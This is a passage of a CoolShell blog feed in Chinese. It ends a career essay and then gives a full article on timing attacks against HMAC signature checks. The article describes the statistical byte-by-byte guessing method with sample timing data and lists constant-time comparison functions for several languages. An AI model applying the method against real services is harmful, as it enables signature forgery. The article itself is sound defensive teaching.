。</p>\n<p>打牢基础就可以突破瓶颈，不打牢基础没有办法突破瓶颈。<strong>在技术世界不要觉得量变会造成质变，这是不可能的</strong>。技术这个东西就像搞建筑砌砖头，砌砖头砌的再多也不可能让你能成为一个架构师的，因为你<strong>不懂原理，不懂科学方法，你就不可能成长上去的</strong>，就像学数学一样，当你掌握了微积分这种大杀器后，你解题的能力是无所披靡，而微积分这种方式绝对不是你能“量变”出来的。</p>\n<p>所以你必须学习基础的理论知识，如果不学这些基础理论知识，还要学习解题思路和方法，如果你只学在表面，那么当这个技术的形式有变化，就会发现以前学的都没用了，要重头学一遍。<strong>掌握技术基础可以让自己找到答案和知识，基础是抽象和归纳，很容易形成进一步的推论</strong>。我们学的很多技术实现都逃不脱基础原理，不管是Java，还是其他语言，只要用TCP用的都是相同的原理，逃不出范围，<strong>只要抓住原理，举一反三，时间一长了，甚至还可以自己推导答案</strong>。对于技术的基础，我会把其它成四类：</p>\n<ul>\n<li><strong>程序语言</strong>：语言的原理，类库的实现，编程技术（并发、异步等），编程范式，设计模式……</li>\n<li><strong>系统原理</strong>：计算机系统，操作系统，网络协议，数据库原理……</li>\n<li><strong>中间件</strong>：消息队列，缓存系统，网关代理，调度系统 ……</li>\n<li><strong>理论知识</strong>：算法和数据结构，数据库范式，网络七层模型，分布式系统……</li>\n</ul>\n<p><strong>这些知识其实就是一个计算机科学专业的学生他所要学习的原理</strong>，但可惜的是，我们的一些学校教得也很糟糕，不但老师能力不足，而且放着世界上最优秀的教课书不用了，一定要自己写一本。讲也讲不全，还有各种错误，哎……总之，如果你学习用用到的教材不行，那么可以肯定的是你的学习效率一定是很糟糕的。这就是为什么我们大学上完了，还是跟个傻瓜一样，还要在工作中再重新自学。</p>\n<p>不过，就算自学，这些基础技术大概需要四五年的时间堆叠。<strong>我工作二十年了，这二十年来基本还是这些原理没变，无论形式怎么变，但是核心永远还是这些，理论创新很难，这是以不变应万变</strong>。</p>\n<h4>学习效率</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-21049 \" src=\"https://coolshell.cn/wp-content/uploads/2020/08/learning.pyrimid.jpg\" alt=\"\" width=\"384\" height=\"361\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/08/learning.pyrimid.jpg 734w, https://coolshell.cn/wp-content/uploads/2020/08/learning.pyrimid-300x282.jpg 300w, https://coolshell.cn/wp-content/uploads/2020/08/learning.pyrimid-287x270.jpg 287w\" sizes=\"(max-width: 384px) 100vw, 384px\" />谈到学习效率，就需要拿出这张学习金字塔的图来了。从图可以看到学习方法分布两层，一种是被动学习，也是浅度学习，听讲，阅读，视听，演示都是在被动学习，而与人讨论，自己动手实践，教授给别人是主动学习。主动学习我们称之为深度学习，如果你不能深度学习，你就不能真正学到东西。这也是你会经常有“学那么多干什么，不用就忘了”，这就是浅度学习的症状了。</p>\n<p>下面，我给出一些我自己觉得不错的学习经验：</p>\n<p><strong>1、挑选一手知识和信息源。</strong>对于学习方法：第一我们一定要到知识源去挑选知识，知识信息源非常关键，二手信息丢失太大了，谭浩强写的书就丢失太多信息了。<strong>目前计算机一手知识基本都是国外的</strong>，所以<strong>英文非常重要</strong>。我鼓励大家一定读第一手的资料。如果你英语有问题，至少要看翻译过来，最好是原汁原味翻译的，不要我理解了给你讲那种，那种也是被别人嚼一遍再讲给你你没有体会，是别人带着你，别人的体会会影响你，也许你的体会会比他更好，因为是你自己总结出来的东西，所以知识源很重要。</p>\n<p><strong>2、注意原理和基础</strong><strong>第二要注重基础原理</strong>。虽然可以忘记这个技术，但是原理记在心里，我可以徒手实现出来，而且通过原理可以更快学习其他类似的技术。所以原理很重要！当你学会C、C++要学Java和GO都很快。</p>\n<p><strong>3、使用知识图谱</strong><strong>一定要学会使用知识图</strong>，把知识结构化。从一个技术关键点开始不断地关联和细化下去，比如：关于TCP协议，首先第一个要记住状态图，怎么建立连接，怎么断连接，状态怎么变迁。TCP没有连接，是靠状态维护连接的。其次，要了解TCP怎么保证可靠性，就是丢包以后怎么重传，重传有哪些技术点。然后，重传会让你联想到拥塞控制，拥塞控制到滑动窗口……。这基本就是TCP的所有东西了，找到关键点，然后顺着这个脉络一点点往下想，通过知识图关联就可以进行顺藤摸瓜。我们不需要记所有知识，那些<strong>手册的知识不需要记，你知道在哪里能找到就可以了</strong>。你脑子里面要有地图，学一个东西就跟在城市生活一样，闭上眼睛就知道地图，A点到B点怎么去大概方向要知道。我在北京我去广州，广州在南边，我大概坐飞机还是火车要心里有数。。</p>\n<p><strong>4、学会举一反三</strong>。就是用不同方法学一个东西，比如说学TCP协议，看书是一种方法，编程是另外一种方法，还有用做Debug去看的，用不同方法学一个东西会让你更加熟悉，你学一个知识的同时把周边也学了。比如说学前端能不能把HTTP学一下，比如说长连接、短连接，包括hp1、hp2有一些不一样的东西。</p>\n<p><strong>5、总结和归纳。</strong>只有学会总结和归纳，才能形成自己的思维框架、自己的套路、自己的方法论，以后学这个东西应该怎么学。就像学一门新的语言，不管GO语言，还是Rust语言，第一件事情就是了解内存是怎么管理的，数据类型什么样，第二是泛型怎么搞，第三是并发怎么弄。还有一些抽象怎么弄，比如说怎么解耦，怎么实现多态？套路这种东西只有学的多了以后才能形成套路，如果你只学会一门语言不会有套路，你要每年学门语言，不用学多精，你思考这个语言有什么不一样，为什么这个这种有玩法，那个有那种玩法，这些东西思考多了套路方法论就出来了。比如说Windows和Linux有什么不同，Linux和Unix又有什么不同？只有总结自己的框架、套路和方法，这些才永远不会被淘汰。</p>\n<p><strong>6、实践和坚持。</strong>剩下就是多做多练，多坚持，只有实践才会有经验，只有锻炼了才能够把自己的脂肪变没，所以，<strong>要把知识变成技能必须练</strong>，就像小学生学会加减乘除，还是要演练，必须多做题，题目做得多了，自然掌握得好。要挑选好的知识源，注重原理技术，有一些原理的基础的书太枯燥，但是我告诉你学习这些基础太值得投入时间，搬砖赚几十元不值得，因为赚的是辛苦钱，老了就赚不了，必须要赚更有能力的钱，这是学习投资。</p>\n<h4>小结</h4>\n<p>好了，该到这篇文章收尾的时候了，小结一下，如果你想更好的把握时代，提升自己，你需要知道这个时代的趋势是什么，需要什么样的人，这些人需要什么样的能力，这些能力是怎么获得的，投入到基础知识的学习就像“基建”一样，如果基础不好，不能长高，学习能力也是需要适应这个快速时代的重要的基础能力，没有好的学习能力，很快就会掉队被淘汰。</p>\n<p>这些东西，是我从业二十年来的总结和体会，希望对你有用。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li><li ><a href=\"https://coolshell.cn/articles/20276.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg\" alt=\"别让自己“墙”了自己\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20276.html\" class=\"wp_rp_title\">别让自己“墙”了自己</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/20977.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>117</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>计时攻击 Timing Attacks</title>\n\t\t<link>https://coolshell.cn/articles/21003.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21003.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[tanglei.name]]></dc:creator>\n\t\t<pubDate>Sun, 05 Jul 2020 05:26:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[HMAC]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21003</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文来自读者“程序猿石头”的投稿文章《这 10 行比较字符串相等的代码给我整懵了，不信你也来看看》，原文写的很好，但不够直接了当，信息密度不够高，所以我对原文进...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21003.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21003.html\">计时攻击 Timing Attacks</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-21015 \" src=\"https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-300x300.png\" alt=\"\" width=\"240\" height=\"240\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-300x300.png 300w, https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-200x200.png 200w, https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-270x270.png 270w, https://coolshell.cn/wp-content/uploads/2020/06/time-bomb.png 512w\" sizes=\"(max-width: 240px) 100vw, 240px\" />本文来自读者“程序猿石头”的投稿文章《<a href=\"http://mp.weixin.qq.com/s?__biz=MzI3OTUzMzcwNw==&amp;mid=100002290&amp;idx=1&amp;sn=8829db16a065f485b257fba0c691d94f&amp;chksm=6b4708165c30810096133f36523c8c781ce5333d851c31905d6cc49dd9b756a3f08141fbc9e8#rd\" target=\"_blank\" rel=\"noopener noreferrer\">这 10 行比较字符串相等的代码给我整懵了，不信你也来看看</a>》，原文写的很好，但不够直接了当，信息密度不够高，所以我对原文进行大量的删减、裁剪、改写和添加，主要删除了一些没有信息的段落，主要加入了如何实施计时攻击相关的其它内容，让这篇文章中的知识更系统一些，并且还指出了其它的一些问题。所以，我把标题也改成了《计时攻击 Timing Attacks》。</p>\n<h4>另类的字符串比较</h4>\n<p>在 Java 的 Play Framework 里有<a href=\"https://github.com/playframework/play1/blob/b01eb02eb8df2e94cac2793c028dd9c4c5a57b31/framework/src/play/mvc/CookieDataCodec.java#L82\" target=\"_blank\" rel=\"noopener noreferrer\">一段代码</a>用来验证cookie(session)中的数据是否合法（包含签名的验证）的代码，如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\">boolean safeEqual(String a, String b) {\n   if (a.length() != b.length()) {\n       return false;\n   }\n   int equal = 0;\n   for (int i = 0; i &lt; a.length(); i++) {\n       equal |= a.charAt(i) ^ b.charAt(i);\n   }\n   return equal == 0;\n}</pre>\n<p>相信刚看到这段源码的人会感觉挺奇怪的，这个函数的功能是比较两个字符串是否相等，如果要判断两个字符串是否相等，正常人的写法应该是下面这个样子的（来自JDK8 的 <code>String.equals()</code>-有删减）：</p>\n<p><span id=\"more-21003\"></span></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-highlight=\"9,10\">public boolean equals(Object anObject) {\n    String anotherString = (String)anObject;\n    int n = value.length;\n    if (n == anotherString.value.length) {\n        char v1[] = value;\n        char v2[] = anotherString.value;\n        int i = 0;\n        while (n-- != 0) {\n            if (v1[i] != v2[i]) // &lt;- 遇到第一个不一样的字符时退出\n                return false;\n            i++;\n        }\n        return true;\n    }\n    return false;\n}</pre>\n<p>我们可以看到，在比较两个字符串是否相等的正常写法是：</p>\n<ol>\n<li>先看一下两个字符串长度是否相等，如果不等直接返回 false。</li>\n<li>如果长度相等，则依次判断每个字符是否相等，如果不等则返回 false。</li>\n<li>如果全部相等，则返回 true。一旦遇到不一样的字符时，直接返回false。</li>\n</ol>\n<p>然而，Play Framework里的代码却不是这样的，尤其是上述的第2点，用到了异或，熟悉位操作的你很容易就能看懂，通过异或操作 <code>1^1=0</code> , <code>1^0=1</code>, <code>0^0=0</code>，来比较每一位，如果每一位都相等的话，两个字符串肯定相等，最后存储累计异或值的变量 <code>equal</code>必定为 0（因为相同的字符必然为偶数），否则为 1。</p>\n<p>但是，这种异或的方式不是遇到第一个不一样的字符就返回 false 了，而是要做全量比较，这种比较完全没有效率，这是为什么呢？原因是为了安全。</p>\n<h4>计时攻击(Timing Attack)</h4>\n<p>计时攻击（<a href=\"https://en.wikipedia.org/wiki/Timing_attack\" target=\"_blank\" rel=\"noopener noreferrer\">Wikipedia</a>）是<a href=\"https://en.wikipedia.org/wiki/Side-channel_attack\" target=\"_blank\" rel=\"noopener noreferrer\">旁道攻击</a>(或称&#8221;侧信道攻击&#8221;， Side Channel Attack， 简称SCA) 的一种，<b>旁通道攻击</b>是指基于从计算机系统的实现中获得的信息的任何攻击 ，而不是基于实现的算法本身的弱点（例如，密码分析和软件错误）。时间信息，功耗，电磁泄漏甚至声音可以提供额外的信息来源，可以加以利用。在很多物理隔绝的环境中（黑盒），往往也能出奇制胜，这类新型攻击的有效性远高于传统的密码分析的数学方法。（注：企图通过社会工程学欺骗或强迫具有合法访问权限的人来破坏密码系统通常不被视为旁道攻击）</p>\n<p>计时攻击是最常用的攻击方法。那么，正常的字符串比较是怎么被黑客进行时间攻击的呢？</p>\n<p>我们知道，正常的字符串比较，一旦遇到每一个不同的字符就返回失败了，所以，理论上来说，前面只有2个字符相同字符串比较的耗时，要比前面有10个字符相同的比较要短。你会说，这能相差多少呢？可能几微秒吧。但是，我们可以放大这个事。比如，在Web应用时，记录每个请求的返回所需请求时间（一般是毫秒级），如果我们重复50次，我们可以查看平均时间或是p50的时间，以了解哪个字符返回的时间比较长，如果某个我们要尝试的字符串的时间比较长，我们就可以确定地得出这个这字符串的前面一段必然是正确的。（当然，你会说网络请求的燥音太多了，在毫秒级的请求上完全没办判断，这个需要用到统计学来降噪，后面会给出方法）</p>\n<p>这个事情，可以用来做HMAC的攻击，所谓HMAC，你可以参看本站的《<a title=\"HTTP API 认证授权术\" href=\"https://coolshell.cn/articles/19395.html\" target=\"_blank\" rel=\"noopener noreferrer\">HTTP API 认证授权术</a>》文章了解更多的细节。简单来说，HMAC，就是客户端向服务端发来一个字符串和其签名字符串（HMAC），然后，服务端的程序用一个私钥来对客户端发来的字符串进行签名得到签名字符串，然后再比较这个签名字符串（所谓签名，也就是使用MD5或SHA这样的哈希算法进行编码，是不可逆的）</p>\n<p>写成伪代码大概是这个样子：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">bool verify(message, digest) {\n    my_digest = HMAC(key, message);\n    return my_digest.equals(digest) ;\n}</pre>\n<p>于是，攻击者在不知道签名算法和私钥的情况下，但是知道API的调用接口时，就可以通过一边穷举签名，一边统计调用时间的方式来非常有效率的破解签名。在这篇文章《<a href=\"http://www.eggie5.com/45-hmac-timing-attacks\" target=\"_blank\" rel=\"noopener noreferrer\">HMAC Timing Attacks</a>》中记录了整个攻击的过程。文章中记载：</p>\n<p>如果一个签名有40个长度，如：<code>f5acdffbf0bb39b2cdf59ccc19625015b33f55fe</code> 攻击者，从 <code>0000000000000000000000000000000000000000</code> 开始穷举，下面是穷举第一个字符（从<code>0</code>到<code>f</code>因为这是HMAC算法的取值范围）的时间统计。</p>\n<pre>0 0.005450913\n1 0.005829198\n2 0.004905407\n3 0.005286876\n4 0.005597611\n5 0.004814430\n6 0.004969118\n7 0.005335884\n8 0.004433182\n9 0.004440246\na 0.004860263\nb 0.004561121\nc 0.004463188\nd 0.004406799\ne 0.004978907\nf 0.004887240\n</pre>\n<p>可以看到，第一次测试通过的计时结果（以秒为单位），而值“ f”与样品的其余部分之间没有较大的变化量，所有结果看起来都非常接近。换句话说，有很多噪声掩盖了信号。因此，有必要进行多个采样（对测试进行缩放）并使用统计工具从噪声中滤除信号。为了将信号与噪声分开，我们必须按任意常数对测试进行缩放。通过实验，作者发现500是一个很好的数字。换句话说：运行测试500次，并记录500个试验中每个试验的结果。然后，通过人的肉眼观察可以可能看到 f 的调用明显比别的要长，但是这种方法很难自动化。</p>\n<p>所以，作者给了另一个统计算法，这个算法向服务器分别从 0 到 f 发出16个请求，并记录每个请求的响应时间，并将它们排序为1-16，其中1是最长（最慢）的请求，而16是最短（最快的请求），分别记录 0 &#8211; f 的名次，然后重复上述的过程 500 次。如下所示（仅显示25个样本，字符“ 0”首先被排名7、1、3，然后再次排名3……）：</p>\n<pre>{\n\"0\"=&gt;[7, 1, 3, 3, 15, 5, 4, 9, 15, 10, 13, 2, 14, 9, 4, 14, 7, 9, 15, 2, 14, 9, 14, 6, 11...],\n\"1\"=&gt;[13, 4, 7, 11, 0, 4, 0, 2, 14, 11, 6, 7, 2, 2, 14, 11, 8, 10, 5, 13, 11, 7, 4, 9, 3...],\n\"2\"=&gt;[14, 5, 15, 5, 1, 0, 3, 1, 9, 12, 4, 4, 1, 1, 8, 6, 9, 4, 9, 5, 8, 3, 12, 8, 5...],\n\"3\"=&gt;[15, 2, 9, 7, 2, 1, 14, 11, 7, 8, 8, 1, 4, 7, 12, 15, 13, 0, 4, 1, 7, 0, 3, 0, 0...],\n\"4\"=&gt;[12, 10, 14, 15, 8, 9, 10, 12, 10, 4, 1, 13, 15, 15, 3, 1, 6, 8, 2, 6, 15, 4, 0, 3, 2...],\n\"5\"=&gt;[5, 13, 13, 12, 7, 8, 13, 14, 3, 13, 2, 12, 7, 14, 2, 10, 12, 5, 8, 0, 4, 10, 5, 10, 12...]\n\"6\"=&gt;[0, 15, 11, 13, 5, 15, 8, 8, 4, 7, 12, 9, 10, 11, 11, 7, 0, 6, 0, 9, 2, 6, 15, 13, 14...]\n\"7\"=&gt;[1, 9, 0, 10, 6, 6, 2, 4, 12, 9, 5, 10, 5, 10, 7, 2, 4, 14, 6, 7, 13, 11, 6, 12, 4...],\n\"8\"=&gt;[4, 0, 2, 1, 9, 11, 12, 13, 11, 14, 0, 15, 9, 0, 0, 13, 11, 13, 1, 8, 6, 5, 11, 15, 7...],\n\"9\"=&gt;[11, 11, 10, 4, 13, 7, 6, 3, 2, 2, 14, 5, 3, 3, 15, 9, 14, 7, 10, 3, 0, 14, 1, 5, 15...],\n\"a\"=&gt;[8, 3, 6, 14, 10, 2, 7, 5, 1, 3, 3, 0, 0, 6, 10, 12, 15, 12, 12, 15, 9, 13, 13, 11, 9...],\n\"b\"=&gt;[9, 12, 5, 8, 3, 3, 5, 15, 0, 6, 11, 11, 12, 8, 1, 3, 1, 11, 11, 14, 5, 1, 2, 1, 6...],\n\"c\"=&gt;[6, 7, 8, 2, 12, 10, 9, 10, 6, 1, 10, 8, 6, 4, 6, 4, 3, 2, 7, 11, 1, 8, 7, 2, 13...],\n\"d\"=&gt;[2, 14, 4, 0, 14, 12, 11, 0, 8, 0, 15, 3, 8, 12, 5, 0, 10, 1, 3, 4, 12, 12, 8, 14, 8...],\n\"e\"=&gt;[10, 8, 12, 6, 11, 13, 1, 6, 13, 5, 7, 14, 11, 5, 9, 5, 2, 15, 14, 10, 10, 2, 10, 4, 1...],\n\"f\"=&gt;[3, 6, 1, 9, 4, 14, 15, 7, 5, 15, 9, 6, 13, 13, 13, 8, 5, 3, 13, 12, 3, 15, 9, 7, 10...]\n}</pre>\n<p>然后将每个字符的500个排名进行平均，得出以下示例输出：</p>\n<pre>\"f\", 5.302\n\"0\", 7.17\n\"6\", 7.396\n\"3\", 7.472\n\"5\", 7.562\n\"a\", 7.602\n\"2\", 7.608\n\"8\", 7.626\n\"9\", 7.688\n\"b\", 7.698\n\"1\", 7.704\n\"e\", 7.812\n\"4\", 7.82\n\"d\", 7.826\n\"7\", 7.854\n\"c\", 7.86</pre>\n<p>于是，<code>f</code> 就这样脱颖而出了。然后，再对剩余的39个字符重复此算法。</p>\n<p><strong>这是一种统计技术，可让我们从噪声中滤出真实的信号</strong>。因此，总共需要调用：16 * 500 * 40 = 320,000个请求，而蛮力穷举需要花费16 ^ 40个请求。</p>\n<p>另外，学术界的这篇论文就宣称用这种计时攻击的方法破解了 OpenSSL 0.9.7 的RSA加密算法了。这篇 <a href=\"http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Remote Timing Attacks are Practical （PDF）</a>论文中指出（我大致翻译下摘要，感兴趣的同学可以通过链接去看原文）：</p>\n<blockquote><p>计时攻击往往用于攻击一些性能较弱的计算设备，例如一些智能卡。我们通过实验发现，也能用于攻击普通的软件系统。本文通过实验证明，通过这种计时攻击方式能够攻破一个基于 OpenSSL 的 web 服务器的私钥。结果证明计时攻击用于进行网络攻击在实践中可行的，因此各大安全系统需要抵御这种风险。</p></blockquote>\n<p>参考资料：</p>\n<ul>\n<li>\n<section><a href=\"http://www.cs.sjsu.edu/faculty/stamp/students/article.html\">Timing Attacks on RSA: Revealing Your Secrets through the Fourth Dimension</a></section>\n</li>\n<li>\n<section><a href=\"http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf\">Remote Timing Attacks are Practical</a></section>\n</li>\n</ul>\n<h4>各语言的对应函数</h4>\n<p>下面，我们来看看各个语言对计时攻击的对应函数</p>\n<p><strong>PHP</strong>: <a href=\"https://wiki.php.net/rfc/timing_attack\" target=\"_blank\" rel=\"noopener noreferrer\">https://wiki.php.net/rfc/timing_attack</a></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">bool hash_equals ( string $known_string , string $user_string )\n\nboolean password_verify ( string $password , string $hash )</pre>\n<p><strong>Java</strong>:  Java 在1.6时是有问题的，其在 1.6.0._17(6u17)才Fix了这个问题（<a href=\"http://hg.openjdk.java.net/jdk6/jdk6/jdk/rev/562da0baf70b\" target=\"_blank\" rel=\"noopener noreferrer\">相关的fix patch</a>），下面是 <a href=\"https://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/file/1832c29655eb/src/share/classes/java/security/MessageDigest.java#l442\" target=\"_blank\" rel=\"noopener noreferrer\">JDK8源码</a> &#8211; <code>MessageDigest.isEqual()</code></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\">public static boolean MessageDigest.isEqual(byte[] digesta, byte[] digestb) {\n    if (digesta == digestb) return true;\n    if (digesta == null || digestb == null) {\n        return false;\n    }\n    if (digesta.length != digestb.length) {\n        return false;\n    }\n\n    int result = 0;\n    // time-constant comparison\n    for (int i = 0; i &lt; digesta.length; i++) {\n        result |= digesta[i] ^ digestb[i];\n    }\n    return result == 0;\n}</pre>\n<p><strong>C/C++</strong>：没有在常用的库中找到相关的函数，还是自己写吧。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">int util_cmp_const(const void * a, const void *b, const size_t size) \n{\n  const unsigned char *_a = (const unsigned char *) a;\n  const unsigned char *_b = (const unsigned char *) b;\n  unsigned char result = 0;\n  size_t i;\n\n  for (i = 0; i &lt; size; i++) {\n    result |= _a[i] ^ _b[i];\n  }\n\n  return result; /* returns 0 if equal, nonzero otherwise */\n}</pre>\n<p><strong>Python</strong> &#8211; 2.7.7+使用 <code>hmac.compare_digest(a, b)</code>，否则，使用如下的Django的代码</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">#Taken from Django Source Code\n\ndef constant_time_compare(val1, val2):\n    \"\"\"\n    Returns True if the two strings are equal, False otherwise.\n\n    The time taken is independent of the number of characters that match.\n\n    For the sake of simplicity, this function executes in constant time only\n    when the two strings have the same length. It short-circuits when they\n    have different lengths.\n    \"\"\"\n    if len(val1) != len(val2):\n        return False\n    result = 0\n    for x, y in zip(val1, val2):\n        result |= ord(x) ^ ord(y)\n    return result == 0</pre>\n<p><strong>Go</strong>  &#8211; 使用 <code>crypto/subtle</code> 代码包</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func ConstantTimeByteEq(x, y uint8) int\nfunc ConstantTimeCompare(x, y []byte) int\nfunc ConstantTimeCopy(v int, x, y []byte)\nfunc ConstantTimeEq(x, y int32) int\nfunc ConstantTimeLessOrEq(x, y int) int\nfunc ConstantTimeSelect(v, x, y int) int</pre>\n<h4>One More Thing</h4>\n<p>在文章结束前，再提一个事。</p>\n<p>上面的所有的代码都还有一个问题——他们都要判断字符串的长度是否一致，如果不一致就返回了，所以，通过时间攻击是可以知道字符串的长度的。比如：你的密码长度。理论上来说，字符串的长度也应该属于“隐私数据”（当然，对于签名则不是）。</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" alt=\"网络数字身份认证术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_title\">网络数字身份认证术</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li><li ><a href=\"https://coolshell.cn/articles/936.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"最完美的Linux桌面软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/936.html\" class=\"wp_rp_title\">最完美的Linux桌面软件</a></li><li ><a href=\"https://coolshell.cn/articles/1007.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/06/10commandements-150x150.jpg\" alt=\"优质代码的十诫\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1007.html\" class=\"wp_rp_title\">优质代码的十诫</a></li><li ><a href=\"https://coolshell.cn/articles/3453.html\" 